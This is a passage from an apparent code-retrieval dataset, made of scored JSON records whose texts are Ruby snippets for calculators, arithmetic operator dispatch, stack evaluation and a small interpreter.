"text": "def operate( op, val = nil )\n case val\n when Coord\n @rel |= true\n @ops.push [ op, val ]\n when Numeric, NilClass\n if @rel == false\n @ops[-1][1] = calculate( op, @ops[-1][1], val )\n else\n @ops.push [ op, val ]\n end\n end\n end",
"title": ""
},
{
"docid": "0c4203f5f8f396e37ddac73166e5f79f",
"score": "0.6604165",
"text": "def calculate( op, a1, a2 = nil )\n case op\n when :abs; a2\n when :rel; a2\n when :mul; a1 * a2\n when :add; a1 + a2\n when :sub; a1 - a2\n when :inv; a1 * -1\n else 0\n end\n end",
"title": ""
},
{
"docid": "af25301c5335ad02292a89782b589802",
"score": "0.6538605",
"text": "def _calc operator\n (operand1, operand2) = @stack.pop 2\n @stack.unshift @stack.first\n @stack.push operand1.send(operator.to_sym, operand2)\nend",
"title": ""
},
{
"docid": "e851db8cb0609172c1feaf12d345408f",
"score": "0.6493488",
"text": "def oper=(value)\n @oper = value\n end",
"title": ""
},
{
"docid": "149d2b5865fb3cb47f9cf98ef9d90878",
"score": "0.6483334",
"text": "def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end",
"title": ""
},
{
"docid": "f54b4d7d90f6b9ab869d97171ad4c3f2",
"score": "0.6457741",
"text": "def handle_operation(equation)\n # Check for first of either multiplication or division\n multiply_or_division = equation.find_index { |o| o == '*' || o == '/' }\n # Then check for addition or subtraction\n addition_or_subtraction = equation.find_index { |o| o == '+' || o == '-' }\n\n # Multiplication/Division first, then try addition/subtraction\n operator_location = multiply_or_division || addition_or_subtraction\n\n # Grab operator to do the maths\n operator = equation[operator_location]\n\n # Locate the numbers it is operating on\n first_int = equation[operator_location - 1].to_f\n second_int = equation[operator_location + 1].to_f\n\n # Perform operation\n operator_result = first_int.send(operator, second_int)\n\n # Replace in complete array and remove surrounding numbers\n equation[operator_location] = operator_result\n equation.delete_at(operator_location + 1)\n equation.delete_at(operator_location - 1)\n equation\n end",
"title": ""
},
{
"docid": "8621023af4da427d80d7dfcba4ddef82",
"score": "0.6455094",
"text": "def operation(operator, num1, num2)\n case operator \n when 1 \n puts \"The operational result is: #{num1.to_f + num2.to_f}\"\n puts \"==> #{num1.to_s} + #{num2.to_s} = #{num1.to_f + num2.to_f}\"\n when 2 \n puts \"The operational result is: #{num1.to_f - num2.to_f}\"\n puts \"==> #{num1.to_s} - #{num2.to_s} = #{num1.to_f - num2.to_f}\"\n when 3\n puts \"The operational result is: #{num1.to_f * num2.to_f}\"\n puts \"==> #{num1.to_s} * #{num2.to_s} = #{num1.to_f * num2.to_f}\"\n else\n puts \"The operational result is: #{num1.to_f / num2.to_f}\"\n puts \"==> #{num1.to_s} / #{num2.to_s} = #{num1.to_f / num2.to_f}\"\n end\nend",
"title": ""
},
{
"docid": "32bd697972f6a13238e5a35cfebd28c9",
"score": "0.6445551",
"text": "def operate(value)\n value\n end",
"title": ""
},
{
"docid": "e621013f4e339b014523a8f3028c2013",
"score": "0.6440881",
"text": "def calculate(value,operation)\n check_calculation_requirements(value)\n calculation_requirements.map do |requirement|\n send(requirement).send(operation,value.send(requirement))\n end\n end",
"title": ""
},
{
"docid": "113c1b4d7b9b7b81fbfd14bca227e5bd",
"score": "0.6411458",
"text": "def evaluate(input)\n if input.operator?\n perform_operation(input)\n else\n input\n end\n end",
"title": ""
},
{
"docid": "dd18a7b5637dac010467c882b4e9feca",
"score": "0.63997936",
"text": "def calculate(operation, n1, n2)\n if operation == \"add\" || operation == \"+\"\n return \"#{n1} + #{n2} = #{n1+n2}\"\n elsif operation == \"subtract\" || operation == \"-\"\n return \"#{n1} - #{n2} = #{n1-n2}\"\n elsif operation == \"multiply\" || operation == \"*\"\n return \"#{n1} * #{n2} = #{n1*n2}\"\n elsif operation == \"divide\" || operation == \"/\"\n if n2 == 0\n return \"undefined\"\n else\n return \"#{n1} / #{n2} = #{n1/n2}\"\n end\n elsif operation == \"exponent\" || operation == \"^\"\n return \"#{n1} ^ #{n2} = #{n1**n2}\"\n elsif operation == \"modulo\" || operation == \"%\"\n return \"#{n1} % #{n2} = #{n1%n2}\"\n end\nend",
"title": ""
},
{
"docid": "24727a1fcd391feefe446aca6e31c288",
"score": "0.63948756",
"text": "def parse_arithmetic_op(block)\n Blockly::Code::Op.new(\n next_block_id,\n block['title'][0]['content'],\n parse_block(block['value'][0]['block'][0]),\n parse_block(block['value'][1]['block'][0]))\n end",
"title": ""
},
{
"docid": "66179cd90d217d8d82865de7a3175fec",
"score": "0.63780296",
"text": "def basic_op(operator, value1, value2)\n case operator\n when \"+\"\n value1 + value2\n when \"-\"\n value1 - value2\n when \"*\"\n value1 * value2\n when \"/\"\n value1 / value2\n end\nend",
"title": ""
},
{
"docid": "9b5ec99d1de0d9c0922eefc7f9815fd4",
"score": "0.63678074",
"text": "def calculate(x, operator, y)\n\t# lots of ways to do the below part ...\n\t# if/elsif would have worked,\n\t# as would a case statement\n\treturn x + y if operator == '+'\n\treturn x - y if operator == '-'\n\treturn x * y if operator == '*'\n\treturn x / y if operator == '/'\nend",
"title": ""
},
{
"docid": "8026838de3474375e5aecdc569e66f1b",
"score": "0.6347519",
"text": "def oper\n return @oper\n end",
"title": ""
},
{
"docid": "1470112ec5842a0db88d60d8fd2d6444",
"score": "0.6335693",
"text": "def perform_calc(opr, val1, val2)\n result = 0\n case opr\n when '*'\n result = val1.to_f * val2.to_f\n when \"/\"\n result = val1.to_f / val2.to_f\n when \"+\"\n result = val1.to_f + val2.to_f\n when \"-\"\n result = val1.to_f - val2.to_f\n end\n result.round(2)\n end",
"title": ""
},
{
"docid": "3f92b5c1b9f6c92e7e534f47235e8f31",
"score": "0.6334872",
"text": "def basic_op(operator, value1, value2)\n case operator\n when '+'\n value1 + value2\n when '-'\n value1 - value2\n when '*'\n value1 * value2\n when '/'\n value1 / value2\n end\nend",
"title": ""
},
{
"docid": "3b48c753cfc910ba06faff6b11a87976",
"score": "0.6331633",
"text": "def calculate(op1, operator, op2)\n\tstring = op1.to_s + operator + op2.to_s\n\n\t# operator is assumed to be a string; \n\t# make one big string of it and the two operands \n\teval(string) # evaluate and return a value - never use eval ! eval is EVIL lol \nend",
"title": ""
},
{
"docid": "a0451ab9f24de1e2d9abcc83c1405b95",
"score": "0.6318494",
"text": "def calculate(integer, operator, integer1)\n\tif operator == \"+\"\n\t\tp integer + integer1\n\telsif operator == \"-\"\n\t\tp integer - integer1\n\telsif operator == \"*\"\n\t\tp integer * integer1\n\telsif operator == \"/\"\n\t\tp integer / integer1\n\telse\n\t\tp \"I'm sorry that's not a valid equation!\"\n\t\t\n\tend\nend",
"title": ""
},
{
"docid": "8c13a178c90131bf022c659deaada465",
"score": "0.62976253",
"text": "def calculator_method(operator, number_1, number_2)\n case operator\n when \"add\"\n total = number_1 + number_2\n when \"+\"\n total = number_1 + number_2\n when \"subtract\"\n total = number_1 - number_2\n when \"-\"\n total = number_1 - number_2\n when \"multiply\"\n total = number_1 * number_2\n when \"x\"\n total = number_1 * number_2\n when \"*\"\n total = number_1 * number_2\n when \"divide\"\n total = number_1.to_f / number_2.to_f\n when \"/\"\n total = number_1.to_f / number_2.to_f\n end\n return total\nend",
"title": ""
},
{
"docid": "9a31b1966035d8b35348ea27ce9e2164",
"score": "0.62683",
"text": "def arithmetic(a, b, operator)\n $oper = operator\n case $oper\n when 'add'\n return a + b\n\n when 'subtract'\n return a - b\n\n when 'multiply'\n return a * b\n\n when 'divide'\n return a / b\n \n end\nend",
"title": ""
},
{
"docid": "cc932473b2ca6b3a3dca0dbf5f807bc1",
"score": "0.62588817",
"text": "def operation meth, n_operator_sticks, operator, x\n\tToothNumber.new @value.send(meth, x.value),\n\t \t @num + x.num + n_operator_sticks,\n\t\t\t@pic + operator + x.pic\n end",
"title": ""
},
{
"docid": "9d290d84da0a58c160a8520152ad8924",
"score": "0.6244763",
"text": "def calculate(operator)\n operands = @memory.stack.pop(2)\n @memory.stack.push(operands.inject(operator))\n end",
"title": ""
},
{
"docid": "bf269b1931904e105446c408a29f19b5",
"score": "0.62373334",
"text": "def calculator(operator_active, num1, num2)\n case operator_active\n when \"+\"\n return num1 + num2\n when \"-\"\n return num1 - num2\n when \"*\"\n return num1 * num2\n when \"/\"\n return num1 / num2\n end\nend",
"title": ""
},
{
"docid": "ae1791c18d5d56d3214739b1add94329",
"score": "0.6228052",
"text": "def calculate( a, operator, c )\n\tif operator == \"+\"\n\t\ta + c\n\telsif operator == \"-\"\n\t\ta - c\n\telsif operator == \"*\"\n\t\ta * c\n\telsif operator == \"/\"\n\t\ta/c\n\t\t\n\tend\n\t\nend",
"title": ""
},
{
"docid": "da8f0a451b5d4ed3a5a49d9ea840a772",
"score": "0.6226439",
"text": "def calc_operator token\n ##\n # We need two operands to perform an operation, so we \n # raise `InvalidTokenError` if we don't have those \n # (as at that moment of execution operator-tokens are invalid).\n raise InvalidTokenError if @stack.length < 2\n arg2 = pop!\n arg1 = pop!\n res = get_operation(token).call(arg1, arg2)\n @stack.push(res)\n res\n end",
"title": ""
},
{
"docid": "5a4f07cbd0f1c9eae9a94ff8f8a513c7",
"score": "0.6210916",
"text": "def optimize\n operand\n end",
"title": ""
},
{
"docid": "b5e8e8515445dceadc3e1bc73d48cb35",
"score": "0.619067",
"text": "def calculate operator, num1, num2\n puts \"#{num1} #{operator} #{num2} = #{num1.send(operator, num2)}\"\nend",
"title": ""
},
{
"docid": "33557d2a575e3edfe592e0ee72b0582b",
"score": "0.6187997",
"text": "def prescedence_of operator\n case operator\n when \"*\" then 2\n when \"/\" then 2\n when \"+\" then 1\n when \"-\" then 1\n when \"(\" then 0 \n end\n end",
"title": ""
},
{
"docid": "f3a78a8d6a107c9fee5911d6d79d478e",
"score": "0.6179748",
"text": "def optimize\n operand\n end",
"title": ""
},
{
"docid": "65d6e76ec1763a84b1a86fa873ef741f",
"score": "0.6176685",
"text": "def operation(o, x, y)\n case o\n when '+'\n x + y\n when '-'\n x - y\n when 'x'\n x * y\n when '/'\n x / y\n else\n raise \"invalid operation #{o}\"\n end\nend",
"title": ""
},
{
"docid": "4b29c82f645b6528ec7a793d248d30c2",
"score": "0.6168687",
"text": "def expression\n if is_addop @look\n emit_ln 'CLR D0'\n else\n term\n end\n while is_addop @look\n emit_ln 'MOVE D0, -(SP)' \n case @look\n when '+': add\n when '-': subtract\n else expected('Addop')\n end\n end\nend",
"title": ""
},
{
"docid": "9da754f81523d4b6a703443f7be3d6b1",
"score": "0.6147538",
"text": "def arithmetic_op(op,ins_1,ins_2,do_sanitizing=true)\n begin\n amount = ''\n if do_sanitizing\n ins_2 = Money::InputSanitizer.sanitize_money_live_converter(ins_2)\n if ( ins_1.currency == ins_2.currency )\n amount = ins_1.amount.to_f.public_send(op,ins_2.amount.to_f)\n else\n amount = ins_1.amount.to_f.public_send(op,ins_2.convert_to(ins_1.currency).amount.to_f)\n end\n else\n amount = ins_1.amount.to_f.public_send(op,ins_2.to_f)\n end\n if (['==','<','>'].include?(op))\n return amount\n else\n Money::LiveConverter.new(amount,ins_1.currency)\n end\n rescue RuntimeError => e\n puts \"#{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "d5768e1ae8e4c81fa6e6dc62e10097ba",
"score": "0.6142034",
"text": "def calculate_answer(operator, a, b)\n\n if operator == \"add\"\n return result= a + b\n elsif operator == \"subtract\"\n return result = a - b\n elsif operator == \"multiply\"\n return result = a * b\n elsif operator == \"divide\"\n return result = a / b\n\nend",
"title": ""
},
{
"docid": "8fcaba9c6c7e0267652859610a3ce373",
"score": "0.6137847",
"text": "def calculate_by_type(number_set, operator)\n case operator\n when ADDITION then add(number_set)\n when SUBTRACTION then subtract(number_set)\n when DIVISION then divide(number_set)\n when MULTIPLICATION then multiply(number_set)\n else raise ArgumentError, \"Sorry Dave. I don't support #{operator} yet.\"\n end\n end",
"title": ""
},
{
"docid": "aa703d0ea86229dc23369bc55e02bab3",
"score": "0.61349916",
"text": "def operation=(value)\n @operation = value\n end",
"title": ""
},
{
"docid": "597757cc37770d70d038641e01c9102f",
"score": "0.60926557",
"text": "def input_operand\n operand(0)\n end",
"title": ""
},
{
"docid": "f7db4511422deff2355379aa9becf505",
"score": "0.60901195",
"text": "def calculator_method(number_one, operator, number_two)\n if operator == \"+\"\n return result = number_one + number_two\n elsif operator == \"-\"\n return result = number_one - number_two\n elsif operator == \"*\"\n return result = number_one * number_two\n else operator == \"/\"\n return result = number_one / number_two\n end\nend",
"title": ""
},
{
"docid": "103c26406f50027df433fb7ea0c4a2c3",
"score": "0.60891324",
"text": "def variable_operation_and_maintenance_costs\n fetch(:variable_operation_and_maintenance_costs) do\n typical_input *\n variable_operation_and_maintenance_costs_per_typical_input\n end\n end",
"title": ""
},
{
"docid": "b13e97ef68ce892f2528df746c0c0550",
"score": "0.60860336",
"text": "def my_calculate(*params)\n\n puts \"\\nStarting....\"\n\n operations = {}\n operands = []\n\n \n params.reverse.each do |p|\n\n puts \"param p is #{p.inspect}. Its class is #{p.class}\"\n\n #determine what p is\n operations = p if p.is_a?(Hash)\n operands << p if p.is_a?(Fixnum)\n\n end\n\n # perform operations\n\n #check the default operation\n if operations.size == 0\n\n puts \"\\n Performing add... for default operation\"\n result = my_add(operands)\n puts \"Result is #{result}.\"\n\n else\n\n operations.each do | key, val|\n \n if val == true \n if key == :add\n puts \"\\n Performing add...\"\n result = my_add(operands)\n puts \"Result is #{result}.\"\n \n elsif key == :subtract\n puts \"\\n Performing subtract...\"\n result = my_subtract(operands)\n puts \"Result is #{result}.\"\n \n elsif key == :multiply\n puts \"\\n Performing multiply...\"\n result = my_multiply(operands)\n puts \"Result is #{result}.\"\n \n elsif key == :divide\n puts \"\\n Performing divide...\"\n result = my_divide(operands)\n puts \"Result is #{result}.\"\n \n else\n puts \"Unknow operation #{key}. It is ignored.\"\n \n \n end\n end\n \n \n end\n end\n \nend",
"title": ""
},
{
"docid": "2a49fc6e9a567bb972d3c7e41e608008",
"score": "0.60708416",
"text": "def eval_operation(node, env, stack_trace)\n\n\t# Evaluate both sides of operation (discard returned environment)\n\tleft, _ = eval_node_under(node.left, env, stack_trace)\n\tright, _ = eval_node_under(node.right, env, stack_trace)\n\n\tif left == nil or right == nil\n\t\treturn nil, env\n\tend\n\n\t# TODO: Add more operations.\n\tcase node.operator.value\n\twhen \"+\"\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn add_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn add_term_and_term_list(left, right), env\n\t\tin [TermList, Term]\n\t\t\treturn add_term_and_term_list(left, right), env\n\t\tin [TermList, TermList]\n\t\t\treturn add_term_list_and_term_list(left, right), env\n\t\tin [Fraction, Term]\n\t\t\treturn add_fraction_and_term(left, right), env\n\t\tin [Term, Fraction]\n\t\t\treturn add_fraction_and_term(right, left), env\n\t\tin [Fraction, TermList]\n\t\t\treturn add_fraction_and_term_list(left, right), env\n\t\tin [TermList, Fraction]\n\t\t\treturn add_fraction_and_term_list(right, left), env\n\t\tin [Fraction, Fraction]\n\t\t\treturn add_fraction_and_fraction(left, right), env\t\n\t\tin [Matrix, Matrix]\n\t\t\treturn add_two_matrices(left, right), env\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"-\"\n\t\tputs \"inter l: #{__LINE__} -- IMPORTANT NOTE: Using a subtraction.\" # TODO: Does this ever get used now that I've inverted a - b to a + (-b)?\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn subtract_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn subtract_term_list_from_term(right, left), env\n\t\tin [TermList, Term]\n\t\t\treturn subtract_term_from_term_list(right, left), env\n\t\tin [TermList, TermList]\n\t\t\treturn subtract_term_list_from_term_list(left, right), env\n\t\tin [Matrix, Matrix]\n\t\t\treturn subtract_matrix_minus_matrix(left, right), env\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"*\"\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn multiply_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn multiply_term_and_term_list(left, right), env\n\t\tin [TermList, Term]\n\t\t\treturn multiply_term_and_term_list(left, right), env\n\t\tin [TermList, TermList]\n\t\t\treturn multiply_term_list_and_term_list(left, right), env\n\t\tin [Fraction, Term]\n\t\t\treturn multiply_fraction_and_term(left, right), env\n\t\tin [Term, Fraction]\n\t\t\treturn multiply_fraction_and_term(right, left), env\n\t\tin [Fraction, TermList]\n\t\t\treturn multiply_fraction_and_term_list(left, right), env\n\t\tin [TermList, Fraction]\n\t\t\treturn multiply_fraction_and_term_list(right, left), env\n\t\tin [Fraction, Fraction]\n\t\t\treturn multiply_fraction_and_fraction(left, right), env\t\n\t\tin [Matrix, Matrix]\n\t\t\treturn multiply_two_matrices(left, right), env\n\t\tin [Matrix, Term]\n\t\t\treturn multiply_matrix_and_term(left, right), env\n\t\tin [Term, Matrix]\n\t\t\treturn multiply_matrix_and_term(right, left), env\n\t\tin [Matrix, TermList]\n\t\t\treturn multiply_matrix_and_term_list(left, right), env\n\t\tin [TermList, Matrix]\n\t\t\treturn multiply_matrix_and_term_list(right, left), env\n\t\tin [Matrix, Fraction]\n\t\t\treturn multiply_matrix_and_fraction(left, right), env\n\t\tin [Fraction, Matrix]\n\t\t\treturn multiply_matrix_and_fraction(right, left), env\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"/\"\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn divide_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn divide_term_by_term_list(left, right), env\n\t\tin [TermList, Term]\n\t\t\treturn divide_term_list_by_term(left, right), env\n\t\tin [TermList, TermList]\n\t\t\treturn divide_term_list_by_term_list(left, right), env\n\t\tin [Fraction, Term]\n\t\t\treturn divide_fraction_by_term(left, right), env\n\t\tin [Term, Fraction]\n\t\t\treturn divide_term_by_fraction(right, left), env\n\t\tin [Fraction, TermList]\n\t\t\treturn divide_fraction_by_term_list(left, right), env\n\t\tin [TermList, Fraction]\n\t\t\treturn divide_term_list_by_fraction(right, left), env\n\t\tin [Fraction, Fraction]\n\t\t\treturn divide_fraction_by_fraction(left, right), env\t\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"*!\"\n\t\tcase [left, right]\n\t\tin [Matrix, Matrix]\n\t\t\treturn tensor_product_of_two_matrices(left, right), env\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\t\treturn nil, env\n\t\tend\n\telse\n\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented.\", node, stack_trace) \n\tend\nend",
"title": ""
},
{
"docid": "6e4ff68ac1b7101b98247b9872303249",
"score": "0.6066117",
"text": "def calculate_answer(operator, a, b)\r\n\r\n if operator == \"add\"\r\n return result= a + b\r\n elsif operator == \"subtract\"\r\n return result = a - b\r\n elsif operator == \"multiply\"\r\n return result = a * b\r\n elsif operator == \"divide\"\r\n return result = a / b\r\n\r\n end\r\n\r\nend",
"title": ""
},
{
"docid": "ae13ea1576a51f48efe010600d2fe935",
"score": "0.60614395",
"text": "def value\n\t\t@operands[-1]\n\tend",
"title": ""
},
{
"docid": "b6c77064e834abcb2a809e27a9f3d571",
"score": "0.6060562",
"text": "def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end",
"title": ""
},
{
"docid": "f524e4e923ad398f383115e077dccd55",
"score": "0.6051931",
"text": "def process_operand_output\n { key => operand_output }\n end",
"title": ""
},
{
"docid": "87f6c5615125861200314e3ac716495d",
"score": "0.6051834",
"text": "def calculator(x, operator, y)\r\n\r\n\tif ['+', '-', '*', '/'].include? operator\r\n\t\tcalculation = x.send(operator.to_sym, y) #send x to object (operator which has been converted to a symbol) and y. calculation will now = x (operator) y\r\n\telse\r\n\t\tputs \"ERROR! Invalid input. Please try again.\"\r\n\tend\r\n\treturn calculation #previously had this set to 'print' instead of 'return' which was causing issues when needing to print a history of values returned\r\nend",
"title": ""
},
{
"docid": "caee83c10f50c96bd815dfebb0bd9624",
"score": "0.6038543",
"text": "def calc(op, arr)\n return op.to_i if arr.empty?\n\n right = calc(arr[0], arr[1..-1])\n return nil unless right\n\n case op.to_s\n when /\\A-?\\d+\\z/\n (op.to_i + right).abs\n when 'x2'\n right * 2\n when '/2'\n right.even? ? right / 2 : nil\n else\n raise \"unexpected op #{op.inspect}\"\n end\nend",
"title": ""
},
{
"docid": "ae644ebfab37a7e3153f211c7126541c",
"score": "0.6024155",
"text": "def calculator_1(operator, num1, num2)\n outcome = num1.send(operator, num2)\nend",
"title": ""
},
{
"docid": "daba2d3eca6e619a431209c1ded5350d",
"score": "0.6009027",
"text": "def get_result(operator, *n)\n return $operations[operator].call(*n).to_s\nend",
"title": ""
},
{
"docid": "ddec8e4d3e67b566ba13b4b832c263d0",
"score": "0.5996627",
"text": "def calculate\n (2 + 2) * 2\nend",
"title": ""
},
{
"docid": "aea4c7b0b8c7a84504c6ffb43197d379",
"score": "0.59903854",
"text": "def arithmetic(a, b, operator)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a/b\n else\n print \"hahaa\"\n end\nend",
"title": ""
},
{
"docid": "9df81d5170e676f8738a6f828e41f831",
"score": "0.59792453",
"text": "def process_op\n # validate_op\n (opcode, modes, addrs) = fetch_instruction\n\n\n case opcode\n\n # ADD: 1, *X, *Y, *(X+Y)\n when 1\n catch_fire if modes[2] == 1\n result = @at.lookup(addrs[0], modes[0]) + @at.lookup(addrs[1], modes[1])\n @at.write(addrs[2], modes[2], result)\n @counter += 4\n\n # MULT: 2, *X, *Y, *(X+Y)\n when 2\n catch_fire if modes[2] == 1\n result = @at.lookup(addrs[0], modes[0]) * @at.lookup(addrs[1], modes[1])\n @at.write(addrs[2], modes[2], result)\n @counter += 4\n\n # INPUT: 3, ADDR\n when 3\n catch_fire if modes[0] == 1\n result = read_input\n if result.nil?\n @waiting = true\n return 0\n end\n @at.write(addrs[0], modes[0], result)\n @counter += 2\n\n # OUTPUT: 4, *ADDR\n when 4\n value = @at.lookup(addrs[0], modes[0])\n write_output(value)\n @counter += 2\n\n # JUMP-IF-TRUE: 5, *BOOL, *INST_PTR\n when 5\n if @at.lookup(addrs[0], modes[0]) != 0\n @counter = @at.lookup(addrs[1], modes[1])\n else\n @counter += 3\n end\n\n # JUMP-IF-FALSE: 6, *BOOL, *INST_PTR\n when 6\n if @at.lookup(addrs[0], modes[0]) == 0\n @counter = @at.lookup(addrs[1], modes[1])\n else\n @counter += 3\n end\n\n # LESS-THAN: 7, *X, *Y, *(X<Y?1:0)\n when 7\n catch_fire if modes[2] == 1\n result = @at.lookup(addrs[0], modes[0]) < @at.lookup(addrs[1], modes[1]) ? 1 : 0\n @at.write(addrs[2], modes[2], result)\n @counter += 4\n\n # EQUALS: 8, *X, *Y, *(X=Y?1:0)\n when 8\n catch_fire if modes[2] == 1\n result = @at.lookup(addrs[0], modes[0]) == @at.lookup(addrs[1], modes[1]) ? 1 : 0\n @at.write(addrs[2], modes[2], result)\n @counter += 4\n\n # UPDATE OFFSET: 9 *OFFSET\n when 9\n @at.offset += @at.lookup(addrs[0], modes[0])\n @counter += 2\n\n # HALT: 99\n when 99\n halt\n @counter += 1\n\n else\n catch_fire(\"opcode: #{opcode}\")\n end\n end",
"title": ""
},
{
"docid": "6a29b9af86359e5e1df71ba301d7c449",
"score": "0.5967641",
"text": "def do_math(operand, val1, val2)\n case operand\n when \"+\"\n val1 + val2\n when \"-\"\n val1 - val2\n when \"*\"\n val1 * val2\n when \"/\"\n val1 / val2\n end\nend",
"title": ""
},
{
"docid": "3b1962cf22cc05aa1f568f6aeaa3544f",
"score": "0.59631735",
"text": "def calculation\n end",
"title": ""
},
{
"docid": "7c0e3c7b113b8de478d0d425eac3076d",
"score": "0.59601694",
"text": "def calculate_answer(operator, a, b)\n\tif operator == \"add\"\n \ta + b\n\telsif operator == \"subtract\"\n \t\ta - b\n\telsif operator == \"multiply\"\n \ta * b\n\telsif operator == \"divide\"\n \ta / b\n\telsif operator == \"square\"\n \t\ta ** b\n\telsif operator == \"bmi\"\n \t\ta / (b ** 2)\n\tend\nend",
"title": ""
},
{
"docid": "f166095af41953d808adbe8a0d9a2395",
"score": "0.59573954",
"text": "def op()\n @model.op\n end",
"title": ""
},
{
"docid": "795184b56544e6ac60e30b0de6f8ba00",
"score": "0.5957007",
"text": "def applyOperator(num1, num2, operator)\n #eval((num1.to_s + operator + num2.to_s).gsub(\"^\", \"**\"))\n @operators[operator][:action].call(num1.to_i, num2.to_i)\n end",
"title": ""
},
{
"docid": "4db5eba9e33c520ba831f0b826431525",
"score": "0.5954062",
"text": "def plus(number)\n @operation = '+' \n @number = number\nend",
"title": ""
},
{
"docid": "e14b83b6582d160aefd3b936e8469eb3",
"score": "0.5952301",
"text": "def plus(value)\n { op: :plus, value: value }\nend",
"title": ""
},
{
"docid": "5ea83a9cb84acf89fdfc463c23e9c139",
"score": "0.5950314",
"text": "def calculate(input)\n raise error(\"length is zero!\") unless input.length > 0\n # break input string on whitespace for tokens.\n tokens = input.strip.gsub(/\\(|\\)/,'').split(/\\s+/m)\n tokens.each_with_index do |token, index|\n raise error(\"syntax error at token ##{index + 1} '#{token}'\") unless token =~ /\\d+|[*-\\/+^%]/\n # if this is an operand, add it to the stack\n if token =~ /\\d/\n @stack << token.to_f\n else\n raise error(\"not enough operands at token ##{index + 1} '#{token}'\") if (@stack.length < MIN_TOKENS && @strict)\n # if it is an operator, take the operands off the stack and apply the operator to them\n while @stack.length > 1\n first, second = @stack.pop(MIN_TOKENS)\n @stack << first.send(token, second)\n end\n end\n end\n raise error(\"invalid syntax\") unless @stack.length == 1\n @stack.pop\n end",
"title": ""
},
{
"docid": "db51bf8582311b280ddb61ac0484cd92",
"score": "0.59502757",
"text": "def expr\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n e = nil\n\n begin\n # at line 35:5: e= expr1 ( '+' e= expr1 | '-' e= expr1 )*\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_262 )\n e = expr1\n @state.following.pop\n # --> action\n value = e \n # <-- action\n # at line 36:5: ( '+' e= expr1 | '-' e= expr1 )*\n while true # decision 3\n alt_3 = 3\n look_3_0 = @input.peek( 1 )\n\n if ( look_3_0 == T__14 )\n alt_3 = 1\n elsif ( look_3_0 == T__15 )\n alt_3 = 2\n\n end\n case alt_3\n when 1\n # at line 36:7: '+' e= expr1\n match( T__14, TOKENS_FOLLOWING_T__14_IN_expr_272 )\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_276 )\n e = expr1\n @state.following.pop\n # --> action\n value += e \n # <-- action\n\n when 2\n # at line 37:7: '-' e= expr1\n match( T__15, TOKENS_FOLLOWING_T__15_IN_expr_286 )\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_290 )\n e = expr1\n @state.following.pop\n # --> action\n value -= e \n # <-- action\n\n else\n break # out of loop for decision 3\n end\n end # loop for decision 3\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return value\n end",
"title": ""
},
{
"docid": "f3266358a36d074cd9743d4e9515a20d",
"score": "0.59490436",
"text": "def calculate_answer(operator, a, b)\n if operator == \"add\"\n a + b \n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n elsif operator == \"exponent\"\n a ** b\n elsif operator == \"modulus\"\n a % b\n end\nend",
"title": ""
},
{
"docid": "a27d56617971d3ae7377970fc1071eec",
"score": "0.5941224",
"text": "def operand(n) # rubocop:disable Naming/MethodParameterName\n @operands[n]\n end",
"title": ""
},
{
"docid": "4ce8eb5594262a916d8facdd802b213a",
"score": "0.5931582",
"text": "def writeArithmetic(cmd,ln)\n\tcase cmd[:c]\n\twhen 'add','sub','and','or' then l = arith(cmd[:s])\n\twhen 'neg','not' then l = neginv(cmd[:s])\n\twhen 'gt','lt','eq' then l = glte(cmd[:s],ln)\n\telse return -1 end \n\treturn l\nend",
"title": ""
},
{
"docid": "6c5bdc8a96c74e89028591dbd22c3407",
"score": "0.5925229",
"text": "def math(operator, first_num, second_num)\n if operator ==\"*\"\n first_num*second_num\n elsif operator == \"/\"\n first_num/second_num\n elsif operator == \"+\"\n first_num+second_num\n else\n first_num-second_num\n end\nend",
"title": ""
},
{
"docid": "1a96df1c0bf37bad5b452bb41fa65b2f",
"score": "0.5924174",
"text": "def calculator(operator, *numbers)\n result = 0\n if operator == \"*\"\n result = 1\n else\n result = numbers[0]\n numbers.shift\n end\n\n numbers.each do |arg|\n #result = arg operator.send result\n result = result.send(operator,arg)\n end\n return result\nend",
"title": ""
},
{
"docid": "9978ebab4d1b57e20009b04dd7f8fbca",
"score": "0.5920955",
